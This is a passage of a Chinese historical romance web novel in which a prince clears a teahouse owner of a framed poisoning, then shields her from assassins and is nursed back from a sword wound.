他只抬了抬眼帘,双剑便大步上前,腰间一把长剑取出,剑尖直指那妇人。 刚刚还哭喊着,如今却戛然而止。 “沈云祉,你做什么?” “平王息怒,只是让这里安静些。” 沈云祉拂了拂衣袖,侧身坐到了双瑞搬来的椅子上。 那具尸体被抬走,杨大人带着几个帮手便前往了身后茶楼,全程沈云祉安排的滴水不漏,平王连阻拦的机会都没有。 平王自是又指责了几句沈云祉,话里话外都是要治他的罪。 沈云祉不以为然,懒得听平王的那些话,便转头看向顾皎皎。 顾皎皎一直站在他身后,难得乖巧的像只小鸟,不曾说话,但看她略显苍白的脸色,便知她今日吓的不轻。 他靠在椅子上,漆黑的眸子里透着玩味的光芒。 “顾姑娘,看,今日是不是很多人?” 他突然开口,顾皎皎不解的迎向他的目光。 “小王爷此话何意?” “人多口杂嘛,今日本王护你,这口耳相传,你想要与本王撇清关系,怕是不能了。” 他笑起来时,眼中似是有星星在闪烁。 顾皎皎脸色变了变。 原来他一直都知道,她在躲着他,就是为了不出现什么流言,他现下这般说,自也是知道,今日之后,什么传言都可能出现。 “都什么时候了,小王爷还有心情开玩笑。” 顾皎皎脸色一红,躲开他的目光。 “什么时候?不就是一个小问题,其他倒了无妨,只是你这茶楼验过尸,怕日后要妥善处理子。” “小王爷信我?” 顾皎皎突然想到,无论是那些人闹事,还是人命摆在眼前,沈云祉从始至终都没有向她询问过一句,似是心中早就确定了一般。 沈云祉的唇解勾勒出完全的弧度,没有说话,收回目光之时,正撞上平王那张愤慨的脸。 接下来,只会更热闹。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十七章 到此为止 顾皎皎深知今日所有都是一场阴谋,也想着与官家牵扯上,必然是要费一番功夫的。 可是,沈云祉护在她面前,无论是为了生意,还是为了他自己的声名,她都心存感激。 沈云祉命人给平王备了把椅子。 周围是百姓,有的不明所以只是看个热闹,有的则是对今日之事暗暗讨论。 “我看啊,这第一楼是得罪了人,明摆着被人栽赃陷害。” “这也难怪,这京城上下,如今还有哪家商铺如第一楼一般,不过,这小云南王如此维护,这二人怕不是……” “别胡说,你不了解情况,这第一楼的掌柜曾是安阳候府的三夫人,虽说是和离,却也不是闺阁之女,怎么也是配不上小云南王的。” “没错,想来,只是这商户之女能得王爷如此厚爱,也是有些手段的。” …… 人群中的议论声此起彼伏,刚刚还说是人命关天,如今却已然开始谈论风流韵事了。 果然,事不发生在自己身上,是无法做到切身体会的。 “以前竟不知,小云南王会如此怜香惜玉,想来这杨大人也是你请来的吧?” 众人只等着,平王此时也冷静了不少,想通了其中的一些关键。 沈云祉没有否认,浅尝了一口茶,轻转茶盏,盏上是青花,质朴淡雅,做工却极为精致。 “平王身份贵重,自皇上继位,对你也是处处维护,你一无军功,二无战绩,享亲王尊位,王爷该珍惜才是,莫要狭隘了,走了死路。” 沈云祉与平王互不相让,他们都深知彼此做过什么,只不过谁的手里也没有证据,便也只以这样的方式让对方心中有数。 平王怒火中烧,却也只能忍耐,而就在此时,双瑞陪着杨大人从茶楼里走了出来。 平王神色紧张,沈云祉起身,与杨大人面对面。 “确实是中毒,此人的死因也只有中毒身亡。” 杨大人当着众人的面开口。 “你们听听,你们听听,这第一楼就是谋财害命,我夫君正是吃了第一楼的饭菜才会中毒,你们必须偿命。” 地上那妇人安静了许久,如今也顾不上脖颈处的刀尖,立即大喊出声,周围的人群里也再次引起躁动。 大家都有些不敢相信,却也将疑惑的目光投向顾皎皎。 “夫人莫慌,你夫君虽是中毒而亡,却并非是因为吃席面,而是饮了酒。” 杨大人的话让那妇人愣了一下,随后这妇人便说定是在这宴席饮酒。 “可本王记得你刚刚说过,你夫君只是来宴席上吃了饭菜,不曾饮酒。” 顾皎皎终于站出来,抓住了这妇人言语上的漏洞。 妇人慌了片刻,却又马上改口,“我是太过伤心,记错了而已。” 顾皎皎还欲说什么,却被沈云祉抢先一步。 “杨大人,你细说来吧。” 杨大人也没有辜负他的期望,只通过一具尸体便查出了不少毕线索。 身亡之人中的毒药是鹤顶红,此毒药有一特点,服下后立即身亡,而从尸体上看,此人是在昨夜子时左右死去,且在他的胃里还检测出了酒。 “此酒名贵,三十年的陈酿,一坛价值不菲,想来这酒也不是此人的吧。” 杨大人最后补了一句自己的推论。 “当场封喉的毒药,若是第一楼所下,那便也回不了家了,子时身亡,这个时间,第一楼的宴席早就撤了,再加上三十年的陈酿,夫人,你家竟还有如此富贵的亲戚吗?” 沈云祉猜测着,死的这个人是被人下了毒,当场毙命,他的死亡只有一个目的,那便是陷害顾皎皎和他。 妇人一时说不出话,旁边的那把长剑,让她连抬头的力气都没有。 沈云祉挑眉扫了一眼那妇人,最后将目光落到平王身上。 “事情已然明了,顾掌柜与第一楼是冤枉的,平王可有异义?” 怎会有? 平王也知,这杨大人不会帮沈云祉做假证,也知道,此事到此地步,再难进行下去。 “本王自是信杨大人的,既然是一场误会,那便到此为止吧。” 到此为止? 平王的计划落空,便想着如此草草了事,哪有这等好事。 “平王,人命关天,怎可到为止,双瑞。” 沈云祉岂会给他机会?在双瑞上前后,他便再次开口。 “此事事关重大,牵扯到本王,本王不欲出面,你将这一干人等带去府衙,仔细盘问,若有不尽不实之处,杀无赦。” 交代完后,他又转身看向杨大人。 “杨大人,此事虽说只是涉及到宴席,但到底是皇上的旨意,今日之事……” “小云南王放心,下官回去后自会整理过程,将折子呈给皇上。” 杨大人能得皇上器重,自然是除了能力之外,更重忠心。 杨大人转身离去。 平王自知此时情况对自己不利,无法阻拦,他今日大张旗鼓,若再多言,自也是脱不了干系。 那妇人孩子,以及与他们一同来的人,都被带离,他们哭喊着求饶,但在场的任何人都不敢再多说一句。 传言小云南王杀伐果决,但见到的人大多都觉得他只是闲散人一个,甚至觉得有云南王的庇护,他也只是个玩世不恭的世家子而已。 但今日过后,怕是无人敢这样想了。 “小云南王着实厉害,只是这区区小事又何必惊动皇上?皇上圣体抱恙,你这般行事,岂不是故意让皇上忧心吗?” 平王这顶帽子倒是扣的及时。 “平王向来会体查圣心,自然知道皇上最忧心国事,前有贪污之事,今又有以皇命为背景,行杀人害命之事,自然是要告知皇上的。” 沈云祉这般胸有成竹,可见是心思深沉。 “小云南王既然已有成算,那本王就告辞了。” “平王慢走。” 看着平王远去的背影,沈云祉眸子里闪过一抹冷光,没有被任何人发现。 此事还需要调查,但这宴席现场,便也算告一段落。 “还愣着做什么?顾姑娘不抓紧准备开席吗?” 沈云祉笑意盈盈,似是只是发生了一件再小不过的事而已。 顾皎皎整颗心都提到了嗓子眼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十八章 随他们去 “今日多谢小云南王。” 除了这样感谢的话,顾皎皎不知该说些什么,微微欠身,以示诚意。 沈云祉看着她的脸色好了许多,便也不放在心上,他自是知道,她是不想欠他人情的。 “顾姑娘何出此言?本王并非是为了帮你,就如平王所说,这场宴席本王既参与了,便脱不了干系。” 他说的轻巧,眉宇间那抹傲气久久未散。 “我只是生意人,无法与官对抗,虽说此事若是调查起来,我问心无愧,但若是平王施压,怕也是难以脱身,如若不是小王爷,我这场牢狱之灾终是免不了的。” 顾皎皎低垂下眼眸,也暗暗自责让人钻了空子。 “佳人娇艳,若真是进了牢狱岂不是令人心疼?罢了,你若是要谢本王,不如命人做碗酥酪吧,本王饿了。” 他又是这般打趣着顾皎皎,玩笑过后,便大步向茶楼走去。 顾皎皎站在原地久久未动。 她确实有些琢磨不透沈云祉,他心胸有城府,也行事果决,却一而再再而三的帮她,生意也好,人情也罢,他似是都不放在心上,那他在意的到底是什么? 云南王,小云南王,皇上,皇位,难道…… “姑娘怎么一个人在这里出神?” 莺儿的声音打断了顾皎皎折思绪。 “姑娘这是怎么了?是因为刚刚的事受到了惊吓?” 莺儿看到顾皎皎微白的脸吓了一跳,忙关切的询问着。 顾皎皎立即摆了摆手。 “无妨,”她停顿了一下后又将莺儿拉到身边,低声询问,“我不是让你传信,让小云南王离开吗?他怎么没走?” “是,奴婢跟小云南王说了,平王怕是要牵扯到他,但当时小王爷却只是说,若是让女子挡在他面前,那他名声还要不要了,然后就……” 然后沈云祉便出现了。 顾皎皎闭了闭眼,回想今日一切,什么仵作,什么衙门,都在他的掌控之中,如此说来,他事先便知道有人捣乱,提前做好了准备。 可是,他又怎知是人命事端?难不成这也是在他的计算之中? “姑娘,怎么了?小云南王出手相帮,就连平王都不敢再轻易惹我们,这不是好事吗?” 好事? 只怕,她们如今都已然是沈云祉的棋子而不自知,还要对他千恩万谢。 顾皎皎心里这般想着,却并没有说出来。 “算了,已经过去了,今日是最后一场宴席,加紧盯着些吧。” 她自然也知道,闹了这样一场,接下来定是会顺顺利利的,不会再出任何岔子。 平王府。 平王回到书房后就是一通打砸,以此来发泄他的愤恨与不甘。 平王妃来到门外,听着里面的动静便知计划落空,待里面的打砸声停了,她才推门而入。 “这个沈云祉,跟他老子一样狡诈,我真恨,恨没有早早除了他,如今让他踩到了本王头上。” 平王咬着牙,额间青筋都已爆起,足可见他今日受了何种屈辱。 “王爷息怒,此事确实是被沈云祉占了上风,我们先要稳住,留得青山在,不怕没柴烧。” 平王妃已然了解了事情的经过,既然已经惊动了皇上,他们也不好再行动。 “本王知晓,只是沈云祉扣下了那些人,严加审问,怕是会审出什么,到那时候……” 平王坐下,眉头紧锁,他向来目中无人,可如今毕竟大权并未在手,若真是被人抓住了把柄,怕是不利于后面的行动。 “王爷安心,妾身已经派人出去了,死无对症,他小云南王就是会上天入地,也是无用的。” 平王妃此言一出,平王立即用震惊的眼神看向她,随后伸手将美人拉入怀中。 “得此良妻,是本王之幸啊。” 平王大笑出声,难掩脸上的欣喜之色。 “妾身与王爷本是一体,自然事事为王爷着想,只是近来王府里也出了些事,妾身不敢擅自决定,怕王爷以为妾身善妒。” “王妃何出此言?你都说了是一体,本王自是与王妃站在一处,说来就是。” 此时平王心情好,就算是王妃想要天下的星星,他也会想办法取来,但偏偏王妃所提之事,与徐青青有关。 平王妃日前与京城中贵眷赏花,在这群人中听到有关安阳候府的事,传的最多的便是孙协兆借了印子钱,如今安阳候府是无一日消停。 “碍着徐青青,京城里也大多都知道我们王府与安阳王府的亲事,那些人说起来的时候,看向妾身的目光都满是嘲笑,在京中生活多年,还从未这般丢脸过。” 平王妃低声叹着气,脸上也写满无奈。 平王原本消下的怒火再次被点燃。 “这个烂泥扶不上墙的东西,竟干出此等丢人现眼之事,废物。” 平王本就看不上孙协兆,那所谓的安阳候府,他更不曾放在眼里,若不是小云南王狡诈,他也不会让这桩婚事成了。 “妾身也是实在无法,便暗中联系了人,给了放印子钱的人一些提示,想来近来也不会去找孙家,可这件事终究不是长久之计。” “说起来,此事到底是因为徐青青而起,为了顾及候府的面子,王爷看,这事我们要不要插手?或者是还了那些银两?” 平王妃句句恳切,每个字都透露着她为平王着想,这自然让平王动容。 “是本王的不是,有劳王妃处理的这般好,至于那印子钱,我们不必管,随他们去。” 他未提到徐青青,但是这态度已然很明显了。 平王未因着自己的女儿对孙协兆网开一面,这也意味着,他也不曾将那个所谓的女儿放在心上。 平王妃得到了自己想要的答案,心中自然惊喜,而平王也觉得平王妃在事事为他着想,他也不可就这般等着。 夜幕降临。 最后一日的宴席也结束了。 顾皎皎站在茶楼前,看着眼前空荡荡的场面,长长的吁了一口气。 她这几日没日没夜的劳累,如今圆满完成,她也算是没有辜负。 “时辰不早了,顾姑娘还不回吗?” 一道清冷的声音从身后响起。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十九章 怕是抓不到 整整三日,沈云祉日日守到最后,今日也一样。 夜里风凉,他走来时,身上多了一件披肩,双瑞双剑跟在他身后。 倒也是难得,双剑和双瑞同时出现在他身边。 “这便回,时辰也不早了,小王爷也早些回去歇息吧。” 这样的话,顾皎皎每日都要说一遍。 沈云祉淡笑,抬眼看了看月色。 “也好。” 他只是随意的丢下这两个字,便大步向前离开。 顾皎皎已然打点好一切,终于得到放松,她提议走一走。 月光如银,在深夜的京城街道,四下无声,显得格外寂静。 “姑娘,这般晚了,我们还是早些回去吧。” 莺儿时不时的看向周围,总觉得心里发寒,她们也未在如此深夜出来过。 “放心吧,今日出了命案,这京城之中自是安全的很。” 顾皎皎倒是不怕,她白日里忙着,像这般娴静的时候也是不多。 “说起命案,小云南王也再未向姑娘提起,莫不是还未找到幕后之人?” 莺儿还等着抓住凶手,好好去教训一番呢。 顾皎皎却低头笑了笑。 “这幕后之人,怕是抓不到。” 事到如今,这事是谁做的他们心里都有数,但问题是,那人欲做此事,还要将小云南王如此身份之人拉下水,又怎会留下一丝一毫的痕迹? 所以,哪怕是查到那妇人说谎,也查到那死的人是被下毒,也不会抓到凶手。 “我看今日小云南王民动了怒的,想必也不会善罢甘休吧?” 莺儿猜测着。 “傻丫头,小云南王发怒是做给其他人看的,算是借着此事立威,至于这件事的结果如何,想来他是不会放在心上的。” 顾皎皎猜测着,却也是事实。 云南王府与平王府的争斗已非一日,若沈云祉是冲动易怒之人,又怎会是平王的对手。 一阵冷风吹过,顾皎皎不禁紧了紧身上的披风。 “姑娘,上车吧。” 马车还缓缓的跟在她们身后。 顾皎皎停下脚步,确实觉得有些冷了,便欲转身上车,可就在此时,一旁的巷子里竟然传出了刀剑之声。 “姑娘,快上车。” 莺儿吓的不轻,推着顾皎皎便向车边走去,但顾皎皎却停下脚步。 “去看看。” 顾皎皎这话将莺儿吓了一跳,可还未开口劝,顾皎皎便已向巷子处走去,莺儿虽害怕,却也只能跟随。 这条巷子昏暗,只借着淡淡的月光看清打斗在一起的几人。 对方全是黑衣,蒙着面,看不清长相,但身手不凡。 另一方,共三人,两人在周边护卫,中间那人站在那里,迎接着一波又一波的进攻。 “是小云南王,这……” 莺儿忍不住开口,但话未说完便被顾皎皎捂住了嘴巴。 沈云祉遭遇刺杀,此事非同小可。 “莺儿,此处离官府不远,你速去报官,就说是奉了小云南王的命,快去。” 顾皎皎蹲在墙角吩咐,但是莺儿却不愿。 “姑娘你一个人这儿,我不放心……” “我又不去跟他们打斗,你快去快回,再尽些怕是要出人命。” 在顾皎皎的一再催促下,莺儿只好转身跑开。 只是,在这条巷子里,少了多少人命已然算不清了。 顾皎皎藏在此处,根本数不清那些黑衣人,只看着一群接着一群,似是打不完的模样,先不说武艺如何,只论体力,怕沈云祉几人也撑不了多久。 正在此时,忙于战斗的沈云祉身后,有两人偷偷靠近,他们已然举起了手中长剑。 “王爷小心。” 顾皎皎几乎没有思考的站出来,大喊出声。 沈云祉转身之余,也立即挥剑将二人击杀。 巷子幽深,没什么光亮,沈云祉投过来的目光是何情绪,顾皎皎分不出,但是向她而来的黑衣人她却看的一清二楚。 顾皎皎是有些身手在身上的,却也只是用来防身可用,面对这样的厮杀,她自然是不敌,只跑了几步,前面的路便被黑衣人拦下。 顾皎皎暗暗沉了一口气,想来今晚是逃不掉了,索性心一横,便想着与他们这些贼人拼了。 黑衣人挥剑而来,顾皎皎还未躲开之时,她的身前突然出道月白色的身影。 刀剑相撞之声,哀号之声,顾皎皎的手被人紧紧拉住,随着打斗,她也被眼前的拉来拉去,但无论何时,她都是被护在身后的。 沈云祉月白色的衣衫上已经沾染上了血迹,只因为在夜色里不甚明显。 顾皎皎未来得及思索,便听到了耳边疾驰而来剑声,她已然躲不开,只得认命般的闭上双眼。 时间静静流逝,顾皎皎并未感觉疼痛,缓缓睁开眼时,看到的却是沈云祉略显苍白的脸。 他面对着自己,唇边挂着若有若无的笑意,但唇角却有丝丝鲜血流出。 顾皎皎怔了一下,缓缓低头才看到沈云祉是用身体替她挡下了那一剑。 长剑从他后背而入,瞬间的疼痛甚至让沈云祉一时没有力气将剑挡开。 “小王爷。” 顾皎皎大喊出声,身后的双瑞双剑二人听到了喊声,立即赶过来帮忙。 沈云祉只是扯动了下嘴角,随后便又与那些黑衣人打斗在一起,而从始至终,他都未松开顾皎皎的手。 从小到大,顾皎皎像今日这般被护着,还是父亲在世之时,心里隐隐的有什么东西在悸动。 不知过了多久,黑衣人被折去了大半,莺儿也带着官府的人赶来,余下的那些黑衣人便便立即四散离开。 危险散去,沈云祉几人也筋疲力尽。 双瑞双剑上前查看沈云祉的伤势,但还未说些什么,沈云祉便直直倒去,幸好顾皎皎拉着他的手,半蹲下后阻挡着他没有摔在地上。 一时间,这巷子里又乱作一团。 沈云祉被送回驿站。 他是为了救顾皎皎才受如此重伤,顾皎皎便只让莺儿回顾府,而她则一直守在沈云祉身旁。 郎中,侍卫,不停的进进出出,顾皎皎只看着床榻之上的人,脸上毫无血色。 在那种情况下,沈云祉毫不犹豫的替她挡箭,让她无法猜测这个男子的心里到底在想些什么。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百章 会失了身份 沈云祉醒来的时候,已是寅时,屋外漆黑一片,屋内却灯火通明。 他侧目,在床榻边的圆桌前看到一个熟悉的身影。 顾皎皎单手拄着下巴,烛光照着她有些疲惫的脸庞,她打着嗜睡,轻闭着双眼,长长的睫毛落下,在她的脸上映出如小扇子一般的影子。 沈云祉不自觉的扬了扬嘴角,侧身之时,不小心扯动伤口。 嘶。 他沉闷出声,声音不大,却以惊动一旁的顾皎皎。 顾皎皎瞬间清醒,转过头看到沈云祉时,她立即倒一碗温水走到床榻边。 “皇上得知你被刺一事,派了宫里的太医过来,太医诊过,小云南王无性命之忧,但伤口极深,要休养些时日。” 顾皎皎的声音很轻,像是怕吵到他一般。 沈云祉眼中笑意更浓,倒是少见她如此小心翼翼,像只小白兔的模样。 “本王无碍,只是为何会惊动皇上?” 沈云祉在顾皎皎的搀扶下坐起身,倚靠在床榻边,伤口处的疼痛还是让他眉头皱起。 “我是莺儿去报官,那府衙的官员得知你的身份,怕担不起责任,便上报了此事。” 沈云祉昏睡的时间不长不短,但顾皎皎却了解了许多事。 这期间,双瑞还因为沈云祉受伤责备了顾皎皎,幸而双剑是个稳妥的,将他推了出去,但在二人的言语中,顾皎皎也得知,这不是沈云祉第一次被行刺。 这几日,沈云祉在茶楼一直停留至夜晚,但却从不与顾皎皎同行,便是不想连累她。 “顾姑娘真是好福气,白日里我们小王爷才帮了你,晚上又为救你受如此重伤。” “即使是战场之上,小王爷都不曾伤的这般重。” “自回京,只因为顾姑娘,我家王爷便多了许多麻烦。” 这些都是双瑞的原话,若不是双剑进来,还不知会说些什么。 顾皎皎自是有心之人,这些都记在心里。 “抱歉,小王爷,我不知事情轻重,擅自让莺儿去报官。” 顾皎皎又紧接着补了一句,她不知自己的举动会不会扰了沈云祉的计划。 “无碍,若不是你报官,本王今日怕是凶多吉少了。” 沈云祉的脸上没什么血色,只是那双漆黑的眸子依旧明亮。 顾皎皎自知这是沈云祉的客套之言,将手中的碗递过去后,便后退了两步。 “今日之事都怪我不好,若非我莽撞行事,便不会连累小王爷,若不是为救我,小王爷也不会受此重伤,民女谢过小王爷。” 顾皎皎突然半跪下身,微低着头,行了一个大礼。 这个举动倒是将沈云祉逗笑了。 “说起来,第一次见顾姑娘时,你还是安阳候府的第三夫人,那时都不曾见你行如此大礼。” 沈云祉半开着玩笑,摆了摆手。 “先起来说话。” 顾皎皎却并未起身。 “你先起来说话,如你所说,本王伤势不轻,你一句谢也报答不了,不若先欠着,日后本王需要你报答,自会跟你说。” 沈云祉现如今行动不便,不然便会去拉起她了。 顾皎皎抬起头,看沈云祉面露郑重之色,才缓缓起身。 “那便说定了,日后小云南王若有不便之处,随时派人来通知我。” 她很认真。 救命之恩,怕是她做什么都是还不清的。 “顾姑娘守了本王大半夜了,去歇息吧。” 沈云祉看出她的疲惫,也无意再纠缠什么恩不恩,便出言让顾皎皎离开,谁知她却立马摇了摇头。 “我已经让双瑞和双剑去休息了,只留我一人侍候小云南王,我不累。” 说着,顾皎皎接下沈云祉手中的碗,继续开口。 “小王爷先坐下,外面煮着药,太医离开前特意吩咐过,等您醒了要立即服下。” 她甚至不给沈云祉说话的机会,便提着裙摆小跑着跑出了内室。 沈云祉低垂下眼眸,唇边袭上一抹无奈的笑,能让顾皎皎如此待他,怕也只是因为恩情了。 从服药到用膳,再到天亮太医前来换药,顾皎皎一直都守在沈云祉身边。 顾皎皎生的美丽,若说倾国倾城也不为过,但如今一夜未眠不说,又忙里忙外,她眼底的乌青已经越来越明显,就连双瑞进来送衣衫,都被吓了一跳。 “顾姑娘,你被我们小王爷打了?” 双瑞口无遮拦,直截了当的问着。 顾皎皎自然知道他是什么意思,狠狠的瞪了他一眼,碍于太医正在给沈云祉诊脉,她才没有发作。 这话,沈云祉听了进去,心情也好了不少。 “小云南王身体康健,这点小伤用不了几日便好了,这些是皇上命微臣拿来了的补品,望小云南王安心养伤。” 太医离开前叮嘱了一番后,又开好了药方,毕竟皇个下达的旨意,他自也是不敢怠慢。 沈云祉命人将太医送走。 “顾姑娘,你也听到了,本王无事,你也照顾了本王一夜,回去歇息吧。” 沈云祉看着顾皎皎眼下的乌青,也是强忍笑意的。 “臣女无事,小云南王刚刚好转,臣女还是在身旁伺候的好。” 纵使听到沈云祉无事,顾皎皎也不会如此一走了之,显得她薄情寡义。 “小王爷,如今我们这里也没有马车送顾姑娘,依属下看,不如让顾姑娘就在西偏房休息一下吧。” 双瑞在一旁提议。 “不必,我不累,也不需要休息,稍后我会看着小云南王的药。” “累不累别人是不知道,只是顾姑娘如今这副模样,出去怕是要吓到人了。” 双瑞几乎没有迟疑的开口。 “双瑞。” 沈云祉低喝一声,但脸上的笑意未减。 “顾姑娘想要照顾本王,心意是好的,但也要休息好,若是累倒了,倒是给本王添乱了,西偏房离本王这里近,若是有什么动静,你也听得到。” 沈云祉这般说了,顾皎皎也无法推辞,但在出门时,她在双瑞的身边停下脚步。 “双瑞公子,恕我直言,你是小云南王身边的人,身份自然与普通人不同,若是日日佩戴着这两文钱的香囊,会失了身份。” 说完后,她不顾脸色铁青的双瑞,大摇大摆的走了出去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零一章 不算坏事 “小王爷,你看到了吗?她嘲笑我。” “我这香囊虽不昂贵,但是味道极好。” “小王爷,你闻闻。” 双瑞抱怨着便欲将香囊递到沈云祉面前。 “滚。” 沈云祉丢出一个字。 双瑞一脸不情愿,走出门时,还嘟囔着沈云祉‘见色忘义’。 顾皎皎被安置在了西厢房,这屋子倒是雅致,不似是有人住过,但收拾的极为干净,床榻之上的棉被了也似是新换的一般。 她一直守着沈云祉,知道这不是他的吩咐,想来是他的两个手下有心了。 看见床榻的那一刻,困意来袭,顾皎皎甚至没有来得及想其他,便睡着了。 顾皎皎睡得沉,再一睁眼时,已然是过了午时。 她竟睡了三四个时辰,想着沈云祉还因自己爱伤卧床,便忙不迭的出门。 只在门口处,她听到了里面的动静。 “死因找到了吗?” 沈云祉的声音不大,却透着一丝坚定。 “中毒,狱卒发现的时候人已经凉了,整个牢狱里也都查了,却没什么结果。” 双剑汇报着。 哼。 “平王也是好手段,干净利落,罢了,派两个人查着就是,也不必汇报了。” 沈云祉丝毫没有觉得意外,若是那平王什么都不做才是奇怪。 “小王爷,此事便就这样算了?” “算是不可能算的,只是如今也只能到此为止了。” 沈云祉话音落下时,看了一眼内室的门,唇角微扬。 “听够了吗?” 这几个字,是说给门外的人听的。 顾皎皎迟疑了一下,才缓缓走了出来,她微微欠身。 “小云南王恕罪,民女无意偷听,只是睡过了头,特来请罪。” 她这话说的有多敷衍怕是在场的人都清楚。 沈云祉也不明说,摆了摆手示意双剑先出去。 “也不是什么隐秘之事,昨日带去府衙那妇人死了。” 顾皎皎在门已然听到了大半,自也不会觉得震惊。 “大抵是平王想要死无对症吧。” 她的声音里还是透着一丝悲凉。 “有不满?” 沈云祉倚靠在床榻之上,眼中的笑意味深长。 “不,不是,只是觉得本是权利之争,无辜丧命的都是一些手无寸铁之人,难免悲伤。” “此话错了,借牵扯进来的从没有什么无辜之说。” 沈云祉欠了欠身子,坐的更直一些,大约是扯动了伤口,眉头微皱。 顾皎皎想上前帮忙,他则摆了摆手,表示不用,而后才继续说了下去。 “只说那妇人,从出现的那一刻起,便是奔着害人而来,有这般下场是她自作自受。” 不知道是不是顾皎皎的错觉,有那么一瞬,她似是在沈云祉的眼中看到了阴狠之色,转而消失不见。 “自然了,平王安排此事,终究是要害你,如若你心里咽不下这口气,本王自会帮你出气。” 沈云祉看着她时,目光总会显得更为深邃,让人不自觉的沉沦。 顾皎皎目光下移,看到他包扎着的伤口,轻轻的摇了摇头。 “小云南王言重了,此事我本也没有受到什么损失,何况,这件事也让第一楼收获了不少生意,不算坏事。” 如今沈云祉重伤在床,不用想也知道是谁的手笔,在这种时候,她又怎会让他再去出什么气? 顾皎皎依旧自责不已,对于沈云祉的出手相帮,从心底里暗暗感动。 沈云祉看着她眼睛提溜乱转,便知道她又在想些什么。 “既然你这般说,那就这样,你也在这里守了一天一夜,本王让人送你回去。” 沈云祉低垂下眼眸,俊朗的脸上依旧是那抹若有若无的笑意。 “我,我还是留下照顾小云南王吧,双瑞笨手笨脚的,我……” 顾皎皎话还未说完,双瑞便从外面走了进来。 “回小王爷,杜大人来了。” 双瑞一边说着时,一边还偷瞄了一眼顾皎皎,一脸的不高兴。 顾皎皎也不退缩,挑了挑眉,丝毫不掩饰对他的挑衅。 “玉荣消息倒是灵通,让他进来吧。” 沈云祉也不将这二人的斗气放在心上,只是听到杜玉荣的名字,眼底闪过一抹狡黠。 双瑞退了出去。 “那便再劳烦顾姑娘半日。” 沈云祉突然开口。 顾皎皎愣了一下,刚刚他是让她离开的,这怎么突然就…… “给小云南王请安,小王爷可好些了?” 杜玉荣急匆匆的跑了进来,抱拳行了个礼,看到顾皎皎也难掩意外之色。 “顾姑娘竟也在?” “杜大人安,我是,我是来照顾小云南王的。” 顾皎皎竟一时不知该从何说起,便也只能这般说了。 “玉荣,坐,想来杜家耳目灵通,只一夜功夫,你便得到消息了。” 沈云祉说着时,看了一眼桌上的水。 顾皎皎是个聪慧的,立即端了过来,可沈云祉却并未接下,只是炙热的目光看着她。 昨夜伤的那般重,他自己还能吃药喝水,过了一夜,他倒是不能动了? 顾皎皎在心底暗暗沉下一口气,还是小心翼翼的递到沈云祉唇边,她分明就看到了这男子脸上的笑意透着狡黠。 这些,都被杜玉荣看在眼里。 “小王爷说笑了,您也知道我家本是书香门第,没有多少消息来源,只是小王爷受伤之事如今已经在朝中传开了,我是上朝后听人说起才知晓。” 杜玉荣本是下朝后便欲来看望沈云祉的,只是又听说了城门口之事,他便先去了第一楼。 但无论是在第一楼,还是顾府都没有找到顾皎皎,甚至没有看到莺儿,对于她们的行踪,其他人都说不知道。 杜玉荣找了好一大圈,没什么结果,才只好先来看望小云南王。 “此事惊动了皇上,朝中之人必是会知晓,可有什么消息?” 沈云祉的唇边挂着水珠,抬了抬下巴,顾皎皎便只好拿起手帕为他轻轻擦拭。 杜玉荣的心里似是有什么东西压着,久久未能喘过气。 “倒也没什么消息,对了,平王也未上朝,说是病了,皇上也派了人去问候。” 他有些心不在焉。 沈云祉脸上还是没什么血色,但今日心情极好,脸上的笑一直都没有散去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零二章 毫不知情 杜玉荣跟沈云祉说着一些有关朝堂上不算隐秘的话题,而顾皎皎则是很忙。 一会儿给沈云祉递水,一会儿喂药,还会帮他调整倚靠的枕头。 知道的是她在报恩,不知道的还以为她是沈云祉的枕边人。 这些杜玉荣都看在眼里。 “正好你来,顾姑娘已经在这里照顾本王一日一夜,你替本王将她送回去,让她好好休息休息。” 沈云祉说的特别自然,可这些言语本就是会让人误会的。 顾皎皎瞪大双眼,还未来得及说什么,杜玉荣便站起身。 “是,小云南王安心养伤。” 马车缓缓的向城中走去。 顾皎皎与杜玉荣同乘一辆马车,这狭小的空间里,气氛也显得有些异样。 “想来顾姑娘这几日也是十分忙碌,难得能抽出时间照顾小云南王,定是疲累了。” 杜玉荣语气温和,满眼关切。 顾皎皎朝她笑了笑。 “小云南王是为救我才受的伤,一点疲累算得了什么。” 那夜沈云祉坚定的挡在她面前的样子,依旧清晰的印在她的脑海,这份恩情怕是这一生都难以还清了。 “竟有此事?怪不得,救命之恩自当是要报答的。” 杜玉荣的双眼都在放光。 这其中的疑惑他已然思考了许久,在此刻,他才一下豁达了,自是喜不自胜。 “杜大人说的是。” 顾皎皎低垂下眼眸,浅笑挂着脸上。 “近来京城之中也有变动,第一楼办了这场宴席,日后也不知有多少双眼睛盯着,顾姑娘还是要小心一些。” 杜玉荣是君子,温和如玉,所有的关切也都是发自真心。 顾皎皎微微点头。 “谢大人提醒,对了,听小云南王说大人家中近来有事,如今都处理好了?” “不算什么大事,也无需特别处理。” 杜玉荣说着时移开目光。 顾皎皎办宴席三日,他本是想日日帮她盯着的,但府中宴请了首辅大人,这两日他也是陪着赵蕴苎无法脱身。 顾皎皎自是看出杜玉荣不愿多说,便也没有再问。 马车停在顾府门前,顾皎皎下车。 “今日多谢杜大人了。” “无妨,顾姑娘还是要好生歇息,才能应对生意之事。” 杜玉荣没有下车,周围是来来往往的人,被人看到他们同乖一辆马车,不知会生出什么流言。 他的这份心思,顾皎皎心里明白,她也没有再多说,微微欠身,进了顾府。 杜玉荣看着那扇大门关上,才让人转道回府。 朝中关于小云南王被刺杀一事闹得沸沸扬扬,有人猜测着是权利之争,也有人觉得是小云南王太过招摇,引来杀身之祸。 但无论众人怎么议论,皇上既过问了此事,便不再算是小事。 沈云祉养伤期间,皇上时常派人关切询问,同时也下令彻查此事。 平王自是听到了消息,立即下令让所有的杀手隐藏,事情在没有得到解决之前,不再出现。 京城别院。 平王在手下的掩护下,避人耳目的来见徐青青。 虽说这里不缺吃少穿,可是不能出去,徐青青便日日都觉得自己是被关起来一般,突然见到平王,自然是欢喜的很。 “青青见过父王,给父王请安。” 